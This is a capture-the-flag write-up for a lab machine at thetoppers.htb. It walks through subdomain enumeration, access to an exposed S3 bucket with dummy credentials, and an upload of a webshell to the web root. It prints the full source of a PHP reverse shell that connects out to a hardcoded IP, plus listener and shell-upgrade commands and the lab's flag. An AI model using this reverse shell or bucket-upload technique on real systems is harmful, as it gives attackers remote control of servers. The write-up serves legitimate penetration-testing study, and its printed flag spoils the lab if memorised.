TL;DR
We find s3 bucket which we access with invalid credentials. Then we upload webshell to webserver directory, and get the flag.
Recon
we start with nmap, using this command:
nmap -p- -sVC --min-rate=10000 $target

We can see that port 22 is opened with ssh service, and also port 80 with apache service.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
| 256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_ 256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Toppers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
When we go to the website, we can see a regular site, and inside we can see it uses domains, as we can see in the mail it uses thetoppers.htb.

Let’s add this to our /etc/hosts.
Find s3 subdomain and accessing it with invalid credentials
Now we want to find more subdomains, maybe there is something interesting.
For this, I downloaded SecLists using this command:
sudo git clone https://github.com/danielmiessler/SecLists.git
and put it inside /usr/share, that i’ll be able to use it in the future. It has multiple wordlists that can be very useful.
Then, we’ll use gobuster on vhost mode, using this command. Notice the --append-domain is important, otherwise it just sends the words from the wordlists, without the original domain:
gobuster vhost --url http://thetoppers.htb/ -w /usr/share/SecLists/Discovon-5000.txt --append-domain

Okay, we find s3.thetoppers.htb, which is the bucket of aws. let’s add it to our /etc/hosts file, remember this is only virtual host, so it uses the same ip.
Now after we want to use the tool aws to connect to the bucket. In my case, I needed to install awscli, using this command:
sudo apt install awscli
First, we need to configure the credentials using aws configure command. In regular state we’ll need to put here the real credentials, however, in our case we can login also with invalid credentials.
┌──(agonen㉿kali)-[~/htb/Three]
└─$ aws configure
AWS Access Key ID [****************a]: bla
AWS Secret Access Key [****************a]: bla
Default region name [a]: bla
Default output format [a]: bla
Then, we want to list all available buckets:
aws --endpoint "http://s3.thetoppers.htb/" s3 ls
We specify the endpoint using the --endpoint flag, and also note we want all s3 buckets, using the ls command.
┌──(agonen㉿kali)-[~/htb/Three]
└─$ aws --endpoint "http://s3.thetoppers.htb/" s3 ls
2025-10-06 06:27:28 thetoppers.htb
Okay, now we want to get all files in the bucket, using this command:
aws --endpoint "http://s3.thetoppers.htb/" s3 ls "s3://thetoppers.htb/"

Uploading webshell to webserver folder and get flag
As we can see, it holds the files for the webserver.
2025-10-06 06:27:28 0 .htaccess
2025-10-06 06:27:28 11952 index.php
Let’s upload our webshell, that will execute reverse shell, and then we’ll compromise the webserver.
We uses pentest monkey reverse shell, from here https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.205'; // CHANGE THIS
$port = 770; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
We need to change the ip and the port, based on our ip and the port we uses to listen using the command nc -nvlp 770

Now, let’s upload the php-reverse-shell.php using this command:
aws --endpoint "http://s3.thetoppers.htb/" s3 cp php-reverse-shell.php "s3://thetoppers.htb/"

And now, set the listener and access the webshell, http://thetoppers.htb/php-reverse-shell.php, and go back to the terminal.

I like to paste those commands, it spawns me a normal shell i can work with:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo
stty rows 38 columns 116
I execute find / -name "flag.txt" 2>/dev/null to find where flag.txt is hidden, and this is the result.
www-data@three:/$ find / -name "flag.txt" 2>/dev/null
/var/www/flag.txt

Flag:a980d99281a28d638ac68b9bf9453c2b